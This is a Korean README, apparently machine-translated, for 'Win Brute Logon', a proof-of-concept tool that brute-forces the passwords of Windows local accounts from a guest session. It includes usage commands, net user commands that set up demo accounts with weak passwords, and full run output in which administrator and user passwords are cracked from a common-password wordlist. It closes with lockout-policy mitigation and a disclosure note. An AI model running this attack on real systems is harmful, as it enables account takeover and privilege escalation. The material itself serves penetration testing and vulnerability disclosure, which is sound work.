통지 1 : 현재 도구가 PowerShell 버전으로 포팅되었음을 발표하게되어 기쁩니다. 즉, 사용자는 이제 PowerShell 명령 줄에서 직접 도구에 액세스하고 사용할 수 있으므로 사용하기에 훨씬 편리하고 효율적입니다. 우리는이 새로운 버전이 사용자에게 큰 도움이되고 도구에 대한 경험을 향상시킬 것이라고 생각합니다. 지속적인 지원에 감사 드리며 새로운 PowerShell 버전을 즐기시기 바랍니다 : https://github.com/darkcodersc/power-brute-logon
통지 2 : 최근 Microsoft가 최신 및 최신 버전의 Windows에서 기본적으로 계정 잠금 정책을 가능하게했다는 것을 알게되었습니다. 이 정책은 일정 수의 실패한 로그인 시도 후 계정을 잠그면 시스템을 보호하는 데 도움이됩니다. 이것은 유익한 보안 조치이지만, 이러한 시스템에서 POC (Concept) 증명 (POC)을 비효율적으로 만듭니다.
출시일 : 2020-05-14
Target : Windows XP에서 최신 Windows 10 버전 (1909)
약점 위치 : LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon은 짧은 시간 안에 많은 수의 암호 조합을 추측하여 Microsoft 계정에 대한 Brute-Force 공격을 시뮬레이션하도록 설계되었습니다. 이를 통해 Pentesters는 시스템의 보안 자세를 테스트하고 무차별 적 공격에 대한 방어를 평가할 수 있습니다. 이 도구는 계정 잠금 메커니즘의 부족을 악용하며, 이는 많은 시스템에서 공통적 인 약점입니다 (Windows 11에서 기본적으로 계정 잠금이 활성화되기 전에). 계정의 비밀번호를 추측하려고 시도 함으로써이 도구는 Pentester가 보안 조치에서 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다. 그것은 책임감있게 그리고 법의 범위 내에서 사용되어야합니다.
이 데모를 위해 가상 또는 물리적 시스템에 새로운 버전의 Windows 10을 설정합니다. 기계가 설정되면 관리자로 로그인하십시오. 다음으로 두 개의 다른 로컬 계정, 즉 하나의 관리자 계정과 하나의 일반 사용자 계정을 만듭니다. 데모에는 게스트 계정을 사용할 것이지만,이 개념 증명 (POC)은 게스트 계정에만 국한되지 않습니다. 게스트, 일반 사용자 및 관리자 사용자를 포함한 모든 계정 또는 그룹에서 사용할 수 있습니다.
net user darkcodersc /add
net user darkcodersc trousers (바지는 암호입니다)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (OZLQ6QWM은 암호입니다)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
제 경우에는 trousers 와 ozlq6qwm 모두 보안부에 있습니다 : https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentitys/10k-most-common.txt
데모를 시작하려면 관리자 계정에서 로그 오프하거나 컴퓨터를 다시 시작하고 게스트 계정에 로그인하십시오. 그런 다음 POC 실행 파일을 게스트 사용자로 액세스 할 수있는 위치에 배치하십시오.
사용법 : WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v 는 선택 사항이며, 장점 모드를 설계합니다.
기본적으로 도메인 이름은 %USERDOMAIN% env var로 지정된 값입니다. 옵션 -d 로 사용자 정의 이름을 지정할 수 있습니다
darkcodersc (관리자) 프롬프트 (게스트)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
다음 결과를 보려면 몇 초 동안 기다립니다.
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (일반 사용자) 프롬프트 (게스트)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
다음 결과를 보려면 몇 초 동안 기다립니다.
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"실제 시나리오에서는 공격자가 불안정한 사용자 계정에 액세스 할 수 있다면 더 특권이있는 사용자의 비밀번호를 깨뜨리고 권한을 확대 할 수 있습니다.이 위험을 완화하려면 몇 가지 단계가 있습니다.
보안 잠금 정책 (기본적으로 활성화되지 않음)을 구현하려면 다음을 수행하십시오.
잠금 정책은 관리자 계정에 적용되지 않습니다. 이 경우 관리자 계정 (활성화 된 경우)에 대한 최상의 보호는 매우 복잡한 암호를 설정하는 것입니다.
이 약점을 자세히 설명하는 보고서가 Microsoft Security 팀에 전송되었습니다. 기본적으로 계정 잠금 정책을 활성화하는 것을 고려해야합니다. "
(업데이트 2022) : 계정 잠금 장치가 기본적 으로 활성화되었습니다.